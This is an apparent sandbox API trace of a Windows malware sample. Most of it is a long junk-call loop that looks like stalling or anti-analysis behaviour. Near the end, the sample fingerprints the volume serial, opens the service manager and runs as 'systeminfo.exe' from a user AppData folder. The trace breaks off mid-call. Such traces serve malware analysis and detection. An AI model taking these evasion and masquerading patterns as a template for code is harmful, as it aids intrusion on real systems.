GetCurrentProcess () returned 0xffffffff [0041.722] GetLastError () returned 0x57 [0041.722] wsprintfA (in: param_1=0x36fcb3, param_2="%X%P" | out: param_1="4DADP") returned 5 [0041.722] SetLastError (dwErrCode=0x57) [0041.722] GetCurrentProcessId () returned 0x81c [0041.723] GetLastError () returned 0x57 [0041.723] wsprintfA (in: param_1=0x36fcb3, param_2="%X%P" | out: param_1="4DAEP") returned 5 [0041.723] SetLastError (dwErrCode=0x57) [0041.723] GetCurrentProcessId () returned 0x81c [0041.723] GetCurrentProcessId () returned 0x81c [0041.723] GetCurrentProcessId () returned 0x81c [0041.723] GetCurrentProcessId () returned 0x81c [0041.723] lstrlenA (lpString="just string") returned 11 [0041.723] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0041.723] GetLastError () returned 0x57 [0041.723] GetLastError () returned 0x57 [0041.723] lstrcmpA (lpString1="J", lpString2="luck") returned -1 [0041.723] SetLastError (dwErrCode=0x57) [0041.723] GetCurrentProcess () returned 0xffffffff [0041.723] GetLastError () returned 0x57 [0041.723] wsprintfA (in: param_1=0x36fcb3, param_2="%X%P" | out: param_1="4DC0P") returned 5 [0041.723] SetLastError (dwErrCode=0x57) [0041.723] GetCurrentProcessId () returned 0x81c [0041.723] GetCurrentProcess () returned 0xffffffff [0041.723] GetLastError () returned 0x57 [0041.723] wsprintfA (in: param_1=0x36fcb3, param_2="%X%P" | out: param_1="4DC1P") returned 5 [0041.723] SetLastError (dwErrCode=0x57) [0041.723] GetCurrentProcessId () returned 0x81c [0041.723] GetLastError () returned 0x57 [0041.723] wsprintfA (in: param_1=0x36fcb3, param_2="%X%P" | out: param_1="4DC2P") returned 5 [0041.723] SetLastError (dwErrCode=0x57) [0041.723] GetCurrentProcessId () returned 0x81c [0041.723] GetCurrentProcessId () returned 0x81c [0041.723] GetCurrentProcessId () returned 0x81c [0041.723] GetCurrentProcessId () returned 0x81c [0041.723] lstrlenA (lpString="just string") returned 11 [0041.723] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0041.723] GetLastError () returned 0x57 [0041.723] GetLastError () returned 0x57 [0041.723] lstrcmpA (lpString1="J", lpString2="luck") returned -1 [0041.723] SetLastError (dwErrCode=0x57) [0041.723] GetCurrentProcess () returned 0xffffffff [0041.723] GetLastError () returned 0x57 [0041.723] wsprintfA (in: param_1=0x36fcb3, param_2="%X%P" | out: param_1="4DF2P") returned 5 [0041.723] SetLastError (dwErrCode=0x57) [0041.723] GetCurrentProcessId () returned 0x81c [0041.723] GetCurrentProcess () returned 0xffffffff [0041.723] GetLastError () returned 0x57 [0041.724] wsprintfA (in: param_1=0x36fcb3, param_2="%X%P" | out: param_1="4DF3P") returned 5 [0041.724] SetLastError (dwErrCode=0x57) [0041.724] GetCurrentProcessId () returned 0x81c [0041.724] GetLastError () returned 0x57 [0041.724] wsprintfA (in: param_1=0x36fcb3, param_2="%X%P" | out: param_1="4DF4P") returned 5 [0041.724] SetLastError (dwErrCode=0x57) [0041.724] GetCurrentProcessId () returned 0x81c [0041.724] GetCurrentProcessId () returned 0x81c [0041.724] GetCurrentProcessId () returned 0x81c [0041.724] GetCurrentProcessId () returned 0x81c [0041.724] lstrlenA (lpString="just string") returned 11 [0041.724] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0041.724] GetLastError () returned 0x57 [0041.724] GetCurrentProcessId () returned 0x81c [0041.724] lstrlenA (lpString="just string") returned 11 [0041.724] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0041.724] GetLastError () returned 0x57 [0041.724] GetLastError () returned 0x57 [0041.724] lstrcmpA (lpString1="J", lpString2="luck") returned -1 [0041.724] SetLastError (dwErrCode=0x57) [0041.724] GetCurrentProcess () returned 0xffffffff [0041.724] GetLastError () returned 0x57 [0041.724] wsprintfA (in: param_1=0x36fcb3, param_2="%X%P" | out: param_1="4E6AP") returned 5 [0041.724] SetLastError (dwErrCode=0x57) [0041.724] GetCurrentProcessId () returned 0x81c [0041.724] GetCurrentProcess () returned 0xffffffff [0041.724] GetLastError () returned 0x57 [0041.724] wsprintfA (in: param_1=0x36fcb3, param_2="%X%P" | out: param_1="4E6BP") returned 5 [0041.724] SetLastError (dwErrCode=0x57) [0041.724] GetCurrentProcessId () returned 0x81c [0041.724] GetLastError () returned 0x57 [0041.724] wsprintfA (in: param_1=0x36fcb3, param_2="%X%P" | out: param_1="4E6CP") returned 5 [0041.724] SetLastError (dwErrCode=0x57) [0041.724] GetCurrentProcessId () returned 0x81c [0041.724] GetCurrentProcessId () returned 0x81c [0041.724] GetCurrentProcessId () returned 0x81c [0041.724] GetCurrentProcessId () returned 0x81c [0041.725] lstrlenA (lpString="just string") returned 11 [0041.725] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0041.725] GetLastError () returned 0x57 [0041.725] GetLastError () returned 0x57 [0041.725] lstrcmpA (lpString1="J", lpString2="luck") returned -1 [0041.725] SetLastError (dwErrCode=0x57) [0041.725] GetCurrentProcess () returned 0xffffffff [0041.725] GetLastError () returned 0x57 [0041.725] wsprintfA (in: param_1=0x36fcb3, param_2="%X%P" | out: param_1="4E9CP") returned 5 [0041.725] SetLastError (dwErrCode=0x57) [0041.725] GetCurrentProcessId () returned 0x81c [0041.725] GetCurrentProcess () returned 0xffffffff [0041.725] GetLastError () returned 0x57 [0041.725] wsprintfA (in: param_1=0x36fcb3, param_2="%X%P" | out: param_1="4E9DP") returned 5 [0041.725] SetLastError (dwErrCode=0x57) [0041.725] GetCurrentProcessId () returned 0x81c [0041.725] GetLastError () returned 0x57 [0041.725] wsprintfA (in: param_1=0x36fcb3, param_2="%X%P" | out: param_1="4E9EP") returned 5 [0041.725] SetLastError (dwErrCode=0x57) [0041.725] GetCurrentProcessId () returned 0x81c [0041.725] GetCurrentProcessId () returned 0x81c [0041.725] GetCurrentProcessId () returned 0x81c [0041.725] GetCurrentProcessId () returned 0x81c [0041.725] lstrlenA (lpString="just string") returned 11 [0041.725] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0041.725] GetLastError () returned 0x57 [0041.725] GetLastError () returned 0x57 [0041.725] lstrcmpA (lpString1="J", lpString2="luck") returned -1 [0041.725] SetLastError (dwErrCode=0x57) [0041.725] GetCurrentProcess () returned 0xffffffff [0041.725] GetLastError () returned 0x57 [0041.725] wsprintfA (in: param_1=0x36fcb3, param_2="%X%P" | out: param_1="4EBAP") returned 5 [0041.725] SetLastError (dwErrCode=0x57) [0041.725] GetCurrentProcessId () returned 0x81c [0041.725] GetCurrentProcess () returned 0xffffffff [0041.725] GetLastError () returned 0x57 [0041.725] wsprintfA (in: param_1=0x36fcb3, param_2="%X%P" | out: param_1="4EBBP") returned 5 [0041.725] SetLastError (dwErrCode=0x57) [0041.725] GetCurrentProcessId () returned 0x81c [0041.725] GetLastError () returned 0x57 [0041.725] wsprintfA (in: param_1=0x36fcb3, param_2="%X%P" | out: param_1="4EBCP") returned 5 [0041.725] SetLastError (dwErrCode=0x57) [0041.725] GetCurrentProcessId () returned 0x81c [0041.725] GetCurrentProcessId () returned 0x81c [0041.725] GetCurrentProcessId () returned 0x81c [0041.725] GetCurrentProcessId () returned 0x81c [0041.725] lstrlenA (lpString="just string") returned 11 [0041.725] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0041.725] GetLastError () returned 0x57 [0041.725] lstrlenA (lpString="just string") returned 11 [0041.725] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0041.725] GetLastError () returned 0x57 [0041.726] GetCurrentProcessId () returned 0x81c [0041.726] lstrlenA (lpString="just string") returned 11 [0041.726] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0041.726] GetLastError () returned 0x57 [0041.726] GetLastError () returned 0x57 [0041.726] lstrcmpA (lpString1="\x08\x8a;", lpString2="luck") returned 1 [0041.726] SetLastError (dwErrCode=0x57) [0041.726] GetCurrentProcess () returned 0xffffffff [0041.726] GetLastError () returned 0x57 [0041.726] wsprintfA (in: param_1=0x36fcb3, param_2="%X%P" | out: param_1="4F1EP") returned 5 [0041.726] SetLastError (dwErrCode=0x57) [0041.726] GetCurrentProcessId () returned 0x81c [0041.726] GetCurrentProcess () returned 0xffffffff [0041.726] GetLastError () returned 0x57 [0041.726] wsprintfA (in: param_1=0x36fcb3, param_2="%X%P" | out: param_1="4F1FP") returned 5 [0041.726] SetLastError (dwErrCode=0x57) [0041.726] GetCurrentProcessId () returned 0x81c [0041.726] GetLastError () returned 0x57 [0041.726] wsprintfA (in: param_1=0x36fcb3, param_2="%X%P" | out: param_1="4F20P") returned 5 [0041.726] SetLastError (dwErrCode=0x57) [0041.726] GetCurrentProcessId () returned 0x81c [0041.726] GetCurrentProcessId () returned 0x81c [0041.726] GetCurrentProcessId () returned 0x81c [0041.726] GetCurrentProcessId () returned 0x81c [0041.726] lstrlenA (lpString="just string") returned 11 [0041.726] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0041.726] GetLastError () returned 0x57 [0041.726] GetLastError () returned 0x57 [0041.726] lstrlenA (lpString="just string") returned 11 [0041.726] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0041.726] GetLastError () returned 0x57 [0041.726] GetLastError () returned 0x57 [0041.726] wsprintfA (in: param_1=0x36fcb3, param_2="%X%P" | out: param_1="4FA2P") returned 5 [0041.726] SetLastError (dwErrCode=0x57) [0041.726] GetCurrentProcessId () returned 0x81c [0041.726] GetCurrentProcessId () returned 0x81c [0041.726] GetCurrentProcessId () returned 0x81c [0041.726] GetCurrentProcessId () returned 0x81c [0041.726] lstrlenA (lpString="just string") returned 11 [0041.726] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0041.726] GetLastError () returned 0x57 [0041.726] GetLastError () returned 0x57 [0041.726] lstrcmpA (lpString1="J", lpString2="luck") returned -1 [0041.726] SetLastError (dwErrCode=0x57) [0041.726] GetCurrentProcess () returned 0xffffffff [0041.726] GetLastError () returned 0x57 [0041.726] wsprintfA (in: param_1=0x36fcb3, param_2="%X%P" | out: param_1="4FDCP") returned 5 [0041.726] SetLastError (dwErrCode=0x57) [0041.726] GetCurrentProcessId () returned 0x81c [0041.726] GetCurrentProcess () returned 0xffffffff [0041.726] GetLastError () returned 0x57 [0041.726] wsprintfA (in: param_1=0x36fcb3, param_2="%X%P" | out: param_1="4FDDP") returned 5 [0041.726] SetLastError (dwErrCode=0x57) [0041.726] GetCurrentProcessId () returned 0x81c [0041.726] GetLastError () returned 0x57 [0041.727] wsprintfA (in: param_1=0x36fcb3, param_2="%X%P" | out: param_1="4FDEP") returned 5 [0041.727] SetLastError (dwErrCode=0x57) [0041.727] GetCurrentProcessId () returned 0x81c [0041.727] GetCurrentProcessId () returned 0x81c [0041.727] GetCurrentProcessId () returned 0x81c [0041.727] GetCurrentProcessId () returned 0x81c [0041.727] lstrlenA (lpString="just string") returned 11 [0041.727] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0041.727] GetLastError () returned 0x57 [0041.727] GetLastError () returned 0x57 [0041.727] lstrcmpA (lpString1="J", lpString2="luck") returned -1 [0041.727] SetLastError (dwErrCode=0x57) [0041.727] GetCurrentProcess () returned 0xffffffff [0041.727] GetLastError () returned 0x57 [0041.727] wsprintfA (in: param_1=0x36fcb3, param_2="%X%P" | out: param_1="5004P") returned 5 [0041.727] SetLastError (dwErrCode=0x57) [0041.727] GetCurrentProcessId () returned 0x81c [0041.727] GetCurrentProcess () returned 0xffffffff [0041.727] GetLastError () returned 0x57 [0041.727] wsprintfA (in: param_1=0x36fcb3, param_2="%X%P" | out: param_1="5005P") returned 5 [0041.727] SetLastError (dwErrCode=0x57) [0041.727] GetCurrentProcessId () returned 0x81c [0041.727] GetLastError () returned 0x57 [0041.727] wsprintfA (in: param_1=0x36fcb3, param_2="%X%P" | out: param_1="5006P") returned 5 [0041.727] SetLastError (dwErrCode=0x57) [0041.727] GetCurrentProcessId () returned 0x81c [0041.727] GetCurrentProcessId () returned 0x81c [0041.727] GetCurrentProcessId () returned 0x81c [0041.727] GetCurrentProcessId () returned 0x81c [0041.727] lstrlenA (lpString="just string") returned 11 [0041.727] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0041.727] GetLastError () returned 0x57 [0041.727] GetLastError () returned 0x57 [0041.727] GetLastError () returned 0x57 [0041.727] wsprintfA (in: param_1=0x36fcb3, param_2="%X%P" | out: param_1="506AP") returned 5 [0041.727] SetLastError (dwErrCode=0x57) [0041.727] GetCurrentProcessId () returned 0x81c [0041.727] GetCurrentProcessId () returned 0x81c [0041.727] GetCurrentProcessId () returned 0x81c [0041.727] GetCurrentProcessId () returned 0x81c [0041.727] lstrlenA (lpString="just string") returned 11 [0041.727] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0041.727] GetLastError () returned 0x57 [0041.727] GetCurrentProcessId () returned 0x81c [0041.727] GetCurrentProcessId () returned 0x81c [0041.727] lstrlenA (lpString="just string") returned 11 [0041.727] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0041.727] GetLastError () returned 0x57 [0041.727] GetLastError () returned 0x57 [0041.727] wsprintfA (in: param_1=0x36fcb3, param_2="%X%P" | out: param_1="5092P") returned 5 [0041.727] SetLastError (dwErrCode=0x57) [0041.727] GetCurrentProcessId () returned 0x81c [0041.727] GetCurrentProcessId () returned 0x81c [0041.727] GetCurrentProcessId () returned 0x81c [0041.727] GetCurrentProcessId () returned 0x81c [0041.727] lstrlenA (lpString="just string") returned 11 [0041.727] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0041.727] GetLastError () returned 0x57 [0041.728] GetLastError () returned 0x57 [0041.728] lstrlenA (lpString="just string") returned 11 [0041.728] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0041.728] GetLastError () returned 0x57 [0041.728] GetCurrentProcessId () returned 0x81c [0041.728] GetCurrentProcessId () returned 0x81c [0041.728] lstrlenA (lpString="just string") returned 11 [0041.728] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0041.728] GetLastError () returned 0x57 [0041.728] GetLastError () returned 0x57 [0041.728] lstrcmpA (lpString1="J", lpString2="luck") returned -1 [0041.728] SetLastError (dwErrCode=0x57) [0041.728] GetCurrentProcess () returned 0xffffffff [0041.728] GetLastError () returned 0x57 [0041.728] wsprintfA (in: param_1=0x36fcb3, param_2="%X%P" | out: param_1="5130P") returned 5 [0041.728] SetLastError (dwErrCode=0x57) [0041.728] GetCurrentProcessId () returned 0x81c [0041.728] GetCurrentProcess () returned 0xffffffff [0041.728] GetLastError () returned 0x57 [0041.728] wsprintfA (in: param_1=0x36fcb3, param_2="%X%P" | out: param_1="5131P") returned 5 [0041.728] SetLastError (dwErrCode=0x57) [0041.728] GetCurrentProcessId () returned 0x81c [0041.728] GetLastError () returned 0x57 [0041.728] wsprintfA (in: param_1=0x36fcb3, param_2="%X%P" | out: param_1="5132P") returned 5 [0041.728] SetLastError (dwErrCode=0x57) [0041.728] GetCurrentProcessId () returned 0x81c [0041.728] GetCurrentProcessId () returned 0x81c [0041.728] GetCurrentProcessId () returned 0x81c [0041.728] GetCurrentProcessId () returned 0x81c [0041.728] lstrlenA (lpString="just string") returned 11 [0041.728] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0041.728] GetLastError () returned 0x57 [0041.728] lstrlenA (lpString="just string") returned 11 [0041.728] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0041.728] GetLastError () returned 0x57 [0041.728] GetCurrentProcessId () returned 0x81c [0041.728] GetCurrentProcessId () returned 0x81c [0041.728] GetCurrentProcessId () returned 0x81c [0041.728] lstrlenA (lpString="just string") returned 11 [0041.728] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0041.728] GetLastError () returned 0x57 [0041.728] GetLastError () returned 0x57 [0041.728] GetCurrentProcessId () returned 0x81c [0041.728] lstrlenA (lpString="just string") returned 11 [0041.728] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0041.728] GetLastError () returned 0x57 [0041.728] GetLastError () returned 0x57 [0041.728] lstrcmpA (lpString1="J", lpString2="luck") returned -1 [0041.728] SetLastError (dwErrCode=0x57) [0041.728] GetCurrentProcess () returned 0xffffffff [0041.728] GetLastError () returned 0x57 [0041.728] wsprintfA (in: param_1=0x36fcb3, param_2="%X%P" | out: param_1="51EEP") returned 5 [0041.728] SetLastError (dwErrCode=0x57) [0041.728] GetCurrentProcessId () returned 0x81c [0041.728] GetCurrentProcess () returned 0xffffffff [0041.728] GetLastError () returned 0x57 [0041.728] wsprintfA (in: param_1=0x36fcb3, param_2="%X%P" | out: param_1="51EFP") returned 5 [0041.729] SetLastError (dwErrCode=0x57) [0041.729] GetCurrentProcessId () returned 0x81c [0041.729] GetLastError () returned 0x57 [0041.729] wsprintfA (in: param_1=0x36fcb3, param_2="%X%P" | out: param_1="51F0P") returned 5 [0041.729] SetLastError (dwErrCode=0x57) [0041.729] GetCurrentProcessId () returned 0x81c [0041.729] GetCurrentProcessId () returned 0x81c [0041.729] GetCurrentProcessId () returned 0x81c [0041.729] GetCurrentProcessId () returned 0x81c [0041.729] lstrlenA (lpString="just string") returned 11 [0041.729] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0041.729] GetLastError () returned 0x57 [0041.729] GetCurrentProcessId () returned 0x81c [0041.729] GetCurrentProcessId () returned 0x81c [0041.729] lstrlenA (lpString="just string") returned 11 [0041.729] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0041.729] GetLastError () returned 0x57 [0041.729] GetCurrentProcessId () returned 0x81c [0041.729] GetCurrentProcessId () returned 0x81c [0041.729] GetCurrentProcessId () returned 0x81c [0041.729] lstrlenA (lpString="just string") returned 11 [0041.729] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0041.729] GetLastError () returned 0x57 [0041.729] GetCurrentProcessId () returned 0x81c [0041.729] GetCurrentProcessId () returned 0x81c [0041.729] lstrlenA (lpString="just string") returned 11 [0041.729] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0041.729] GetLastError () returned 0x57 [0041.729] GetLastError () returned 0x57 [0041.729] wsprintfA (in: param_1=0x36fcb3, param_2="%X%P" | out: param_1="5290P") returned 5 [0041.729] SetLastError (dwErrCode=0x57) [0041.729] GetCurrentProcessId () returned 0x81c [0041.729] GetCurrentProcessId () returned 0x81c [0041.729] GetCurrentProcessId () returned 0x81c [0041.729] GetCurrentProcessId () returned 0x81c [0041.729] lstrlenA (lpString="just string") returned 11 [0041.729] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0041.729] GetLastError () returned 0x57 [0041.729] GetCurrentProcessId () returned 0x81c [0041.729] GetCurrentProcessId () returned 0x81c [0041.729] GetCurrentProcessId () returned 0x81c [0041.729] lstrlenA (lpString="just string") returned 11 [0041.729] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0041.729] GetLastError () returned 0x57 [0041.729] lstrlenA (lpString="just string") returned 11 [0041.729] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0041.729] GetLastError () returned 0x57 [0041.729] GetLastError () returned 0x57 [0041.729] GetLastError () returned 0x57 [0041.729] lstrcmpA (lpString1="\x08\x8a;", lpString2="luck") returned 1 [0041.729] SetLastError (dwErrCode=0x57) [0041.729] GetCurrentProcess () returned 0xffffffff [0041.729] GetLastError () returned 0x57 [0041.729] wsprintfA (in: param_1=0x36fcb3, param_2="%X%P" | out: param_1="5306P") returned 5 [0041.729] SetLastError (dwErrCode=0x57) [0041.729] GetCurrentProcessId () returned 0x81c [0041.729] GetCurrentProcess () returned 0xffffffff [0041.729] GetLastError () returned 0x57 [0041.729] wsprintfA (in: param_1=0x36fcb3, param_2="%X%P" | out: param_1="5307P") returned 5 [0041.729] SetLastError (dwErrCode=0x57) [0041.730] GetCurrentProcessId () returned 0x81c [0041.730] GetLastError () returned 0x57 [0041.730] wsprintfA (in: param_1=0x36fcb3, param_2="%X%P" | out: param_1="5308P") returned 5 [0041.730] SetLastError (dwErrCode=0x57) [0041.730] GetCurrentProcessId () returned 0x81c [0041.730] GetCurrentProcessId () returned 0x81c [0041.730] GetCurrentProcessId () returned 0x81c [0041.730] GetCurrentProcessId () returned 0x81c [0041.730] lstrlenA (lpString="just string") returned 11 [0041.730] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0041.730] GetLastError () returned 0x57 [0041.730] GetLastError () returned 0x57 [0041.730] GetCurrentProcessId () returned 0x81c [0041.730] lstrlenA (lpString="just string") returned 11 [0041.730] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0041.730] GetLastError () returned 0x57 [0041.730] GetLastError () returned 0x57 [0041.730] wsprintfA (in: param_1=0x36fcb3, param_2="%X%P" | out: param_1="5376P") returned 5 [0041.730] SetLastError (dwErrCode=0x57) [0041.730] GetCurrentProcessId () returned 0x81c [0041.730] GetCurrentProcessId () returned 0x81c [0041.730] GetCurrentProcessId () returned 0x81c [0041.730] GetCurrentProcessId () returned 0x81c [0041.730] lstrlenA (lpString="just string") returned 11 [0041.730] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0041.730] GetLastError () returned 0x57 [0041.730] GetCurrentProcess () returned 0xffffffff [0041.730] GetLastError () returned 0x57 [0041.730] wsprintfA (in: param_1=0x36fcb3, param_2="%X%P" | out: param_1="53B1P") returned 5 [0041.730] SetLastError (dwErrCode=0x57) [0041.730] GetCurrentProcessId () returned 0x81c [0041.730] GetLastError () returned 0x57 [0041.730] wsprintfA (in: param_1=0x36fcb3, param_2="%X%P" | out: param_1="53B2P") returned 5 [0041.730] SetLastError (dwErrCode=0x57) [0041.730] GetCurrentProcessId () returned 0x81c [0041.730] GetCurrentProcessId () returned 0x81c [0041.730] GetCurrentProcessId () returned 0x81c [0041.730] GetCurrentProcessId () returned 0x81c [0041.730] lstrlenA (lpString="just string") returned 11 [0041.730] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0041.730] GetLastError () returned 0x57 [0041.730] lstrlenA (lpString="just string") returned 11 [0041.730] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0041.730] GetLastError () returned 0x57 [0041.730] lstrlenA (lpString="just string") returned 11 [0041.730] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0041.730] GetLastError () returned 0x57 [0041.730] GetLastError () returned 0x57 [0041.730] lstrcmpA (lpString1="\x08\x8a;", lpString2="luck") returned 1 [0041.730] SetLastError (dwErrCode=0x57) [0041.730] GetCurrentProcess () returned 0xffffffff [0041.730] GetLastError () returned 0x57 [0041.730] wsprintfA (in: param_1=0x36fcb3, param_2="%X%P" | out: param_1="546EP") returned 5 [0041.730] SetLastError (dwErrCode=0x57) [0041.730] GetCurrentProcessId () returned 0x81c [0041.730] GetCurrentProcess () returned 0xffffffff [0041.730] GetLastError () returned 0x57 [0041.730] wsprintfA (in: param_1=0x36fcb3, param_2="%X%P" | out: param_1="546FP") returned 5 [0041.730] SetLastError (dwErrCode=0x57) [0041.730] GetCurrentProcessId () returned 0x81c [0041.731] GetLastError () returned 0x57 [0041.731] wsprintfA (in: param_1=0x36fcb3, param_2="%X%P" | out: param_1="5470P") returned 5 [0041.731] SetLastError (dwErrCode=0x57) [0041.731] GetCurrentProcessId () returned 0x81c [0041.731] GetCurrentProcessId () returned 0x81c [0041.731] GetCurrentProcessId () returned 0x81c [0041.731] GetCurrentProcessId () returned 0x81c [0041.731] lstrlenA (lpString="just string") returned 11 [0041.731] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0041.731] GetLastError () returned 0x57 [0041.731] GetCurrentProcessId () returned 0x81c [0041.731] GetCurrentProcessId () returned 0x81c [0041.731] GetCurrentProcessId () returned 0x81c [0041.731] lstrlenA (lpString="just string") returned 11 [0041.731] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0041.731] GetLastError () returned 0x57 [0041.731] GetCurrentProcessId () returned 0x81c [0041.731] lstrlenA (lpString="just string") returned 11 [0041.731] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0041.731] GetLastError () returned 0x57 [0041.731] GetLastError () returned 0x57 [0041.731] lstrcmpA (lpString1="J", lpString2="luck") returned -1 [0041.731] SetLastError (dwErrCode=0x57) [0041.731] GetCurrentProcess () returned 0xffffffff [0041.731] GetLastError () returned 0x57 [0041.731] wsprintfA (in: param_1=0x36fcb3, param_2="%X%P" | out: param_1="54C8P") returned 5 [0041.731] SetLastError (dwErrCode=0x57) [0041.731] GetCurrentProcessId () returned 0x81c [0041.731] GetCurrentProcess () returned 0xffffffff [0041.731] GetLastError () returned 0x57 [0041.731] wsprintfA (in: param_1=0x36fcb3, param_2="%X%P" | out: param_1="54C9P") returned 5 [0041.731] SetLastError (dwErrCode=0x57) [0041.731] GetCurrentProcessId () returned 0x81c [0041.731] GetLastError () returned 0x57 [0041.731] wsprintfA (in: param_1=0x36fcb3, param_2="%X%P" | out: param_1="54CAP") returned 5 [0041.731] SetLastError (dwErrCode=0x57) [0041.731] GetCurrentProcessId () returned 0x81c [0041.731] GetCurrentProcessId () returned 0x81c [0041.731] GetCurrentProcessId () returned 0x81c [0041.731] GetCurrentProcessId () returned 0x81c [0041.731] lstrlenA (lpString="just string") returned 11 [0041.731] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0041.731] GetLastError () returned 0x57 [0041.731] GetCurrentProcessId () returned 0x81c [0041.731] lstrlenA (lpString="just string") returned 11 [0041.731] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0041.731] GetLastError () returned 0x57 [0041.731] GetLastError () returned 0x57 [0041.731] wsprintfA (in: param_1=0x36fcb3, param_2="%X%P" | out: param_1="5506P") returned 5 [0041.731] SetLastError (dwErrCode=0x57) [0041.731] GetCurrentProcessId () returned 0x81c [0041.731] GetCurrentProcessId () returned 0x81c [0041.731] GetCurrentProcessId () returned 0x81c [0041.731] GetCurrentProcessId () returned 0x81c [0041.731] lstrlenA (lpString="just string") returned 11 [0041.731] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0041.731] GetLastError () returned 0x57 [0041.731] GetCurrentProcess () returned 0xffffffff [0041.731] GetLastError () returned 0x57 [0041.732] wsprintfA (in: param_1=0x36fcb3, param_2="%X%P" | out: param_1="552DP") returned 5 [0041.732] SetLastError (dwErrCode=0x57) [0041.732] GetCurrentProcessId () returned 0x81c [0041.732] GetLastError () returned 0x57 [0041.732] wsprintfA (in: param_1=0x36fcb3, param_2="%X%P" | out: param_1="552EP") returned 5 [0041.732] SetLastError (dwErrCode=0x57) [0041.732] GetCurrentProcessId () returned 0x81c [0041.732] GetCurrentProcessId () returned 0x81c [0041.732] GetCurrentProcessId () returned 0x81c [0041.732] GetCurrentProcessId () returned 0x81c [0041.732] lstrlenA (lpString="just string") returned 11 [0041.732] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0041.732] GetLastError () returned 0x57 [0041.732] GetLastError () returned 0x57 [0041.732] lstrcmpA (lpString1="\x08\x8a;", lpString2="luck") returned 1 [0041.732] SetLastError (dwErrCode=0x57) [0041.732] GetCurrentProcess () returned 0xffffffff [0041.732] GetLastError () returned 0x57 [0041.732] wsprintfA (in: param_1=0x36fcb3, param_2="%X%P" | out: param_1="5568P") returned 5 [0041.732] SetLastError (dwErrCode=0x57) [0041.732] GetCurrentProcessId () returned 0x81c [0041.732] GetCurrentProcess () returned 0xffffffff [0041.732] GetLastError () returned 0x57 [0041.732] wsprintfA (in: param_1=0x36fcb3, param_2="%X%P" | out: param_1="5569P") returned 5 [0041.732] SetLastError (dwErrCode=0x57) [0041.732] GetCurrentProcessId () returned 0x81c [0041.732] GetLastError () returned 0x57 [0041.732] wsprintfA (in: param_1=0x36fcb3, param_2="%X%P" | out: param_1="556AP") returned 5 [0041.732] SetLastError (dwErrCode=0x57) [0041.732] GetCurrentProcessId () returned 0x81c [0041.732] GetCurrentProcessId () returned 0x81c [0041.732] GetCurrentProcessId () returned 0x81c [0041.732] GetCurrentProcessId () returned 0x81c [0041.732] lstrlenA (lpString="just string") returned 11 [0041.732] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0041.732] GetLastError () returned 0x57 [0041.732] GetCurrentProcessId () returned 0x81c [0041.732] lstrlenA (lpString="just string") returned 11 [0041.732] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0041.732] GetLastError () returned 0x57 [0041.732] GetLastError () returned 0x57 [0042.788] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x0, lpVolumeSerialNumber=0xac27c, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0xac27c*=0x705ba84c, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0042.788] GetModuleFileNameW (in: hModule=0x0, lpFilename=0xac9c8, nSize=0x104 | out: lpFilename="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\systeminfo.exe" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\windows\\systeminfo.exe")) returned 0x40 [0042.788] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x6) returned 0x0 [0042.794] SHGetFolderPathW (in: hwnd=0x0, csidl=28, hToken=0x0, dwFlags=0x0, pszPath=0xac5b8 | out: pszPath="C:\\Users\\aETAdzjz\\AppData\\Local") returned 0x0 [0042.795] GetLastError () returned 0x3f0 [0042.795] wsprintfA (in: param_1=0x36f723, param_2="%X%P" | out: param_1="1EF7EP") returned 6 [0042.795] SetLastError (dwErrCode=0x3f0) [0042.796] GetCurrentProcessId () returned 0x81c [0042.796] GetCurrentProcessId () returned 0x81c [0042.796] RtlComputeCrc32 (PartialCrc=0x0, Buffer=0x110000, Length=0x1e000) returned 0x9ae18cdc [0042.796] UnmapViewOfFile 